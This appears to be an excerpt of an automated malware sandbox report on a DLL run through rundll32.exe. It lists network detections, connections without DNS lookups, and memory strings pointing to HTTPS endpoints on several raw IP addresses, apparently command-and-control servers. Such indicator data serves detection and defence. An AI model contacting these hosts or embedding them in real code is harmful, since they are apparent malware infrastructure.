Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:10 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:12 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:18 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:18 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:22 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:22 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:26 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:26 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:30 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:30 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:34 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:34 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:37 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:38 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:41 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:42 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:45 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:46 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:51 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:51 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:54 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:54 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:58 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:58 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:02 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:02 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:06 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:06 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:10 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:10 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:14 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:14 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:18 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:18 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:22 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:22 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:25 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:26 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:29 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:29 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:33 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:33 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:37 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:37 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:41 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:41 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:45 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:45 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:49 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:49 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:53 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:53 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:57 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:54:57 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:00 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:00 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:04 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:04 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:09 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:10 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:13 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:14 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:17 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:18 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:21 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:22 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:25 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:25 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:29 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:29 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:33 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:33 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:36 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:37 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:42 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:43 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:46 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:46 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:50 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:50 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:54 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:54 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:58 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:55:58 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:56:02 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:56:02 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:56:06 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:56:06 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:56:10 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:56:10 GMTContent-Type: text/plain; charset=utf-8Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47

Source: loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: rundll32.exe, 00000007.00000003.430153868.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: rundll32.exe, 00000007.00000003.430153868.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/Gq
Source: rundll32.exe, 00000007.00000002.815150304.00000000032FA000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000007.00000003.430285368.000000000541D000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000002.815150304.00000000032FA000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?561c40c84f427
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabv
Source: loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214/
Source: rundll32.exe, 00000007.00000003.421191267.000000000336A000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214/Ev
Source: loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/
Source: rundll32.exe, 00000007.00000003.685102476.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/.140.214:808/la
Source: rundll32.exe, 00000007.00000002.815270694.0000000003361000.00000004.00000020.sdmp	String found in binary or memory: https://143.244.140.214:808/Gq
Source: loaddll32.exe, 00000002.00000003.474152776.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.524322961.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/My
Source: rundll32.exe, 00000007.00000002.815270694.0000000003361000.00000004.00000020.sdmp	String found in binary or memory: https://143.244.140.214:808/P
Source: loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/W
Source: loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.496322195.0000000003361000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.421191267.000000000336A000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/hy
Source: rundll32.exe, 00000007.00000003.590697653.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/hyQq
Source: rundll32.exe, 00000007.00000003.615902947.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/hybq
Source: loaddll32.exe, 00000002.00000003.789280519.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/l
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/lGq
Source: rundll32.exe, 00000007.00000003.624273197.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/la
Source: rundll32.exe, 00000007.00000003.524322961.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/ll
Source: rundll32.exe, 00000007.00000003.565788704.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/llbq
Source: loaddll32.exe, 00000002.00000003.590990072.0000000000F5F000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.789346545.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/oft
Source: loaddll32.exe, 00000002.00000003.507704635.0000000000F59000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/z
Source: loaddll32.exe, 00000002.00000002.813943136.0000000000F4C000.00000004.00000020.sdmp	String found in binary or memory: https://182.46.210.220/
Source: rundll32.exe, 00000007.00000002.815270694.0000000003361000.00000004.00000020.sdmp	String found in binary or memory: https://183.244.140.214:808/
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/-
Source: loaddll32.exe, 00000002.00000003.438385750.0000000000F5A000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/T
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/rm
Source: loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/
Source: loaddll32.exe, 00000002.00000003.780894009.0000000000F4C000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/4802
Source: rundll32.exe, 00000007.00000003.693220636.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/4H
Source: rundll32.exe, 00000007.00000003.565788704.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/814
Source: loaddll32.exe, 00000002.00000003.599359620.0000000000FCA000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/=-
Source: rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/D
Source: rundll32.exe, 00000007.00000003.454521385.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/ES
Source: rundll32.exe, 00000007.00000003.734581021.0000000003361000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/F
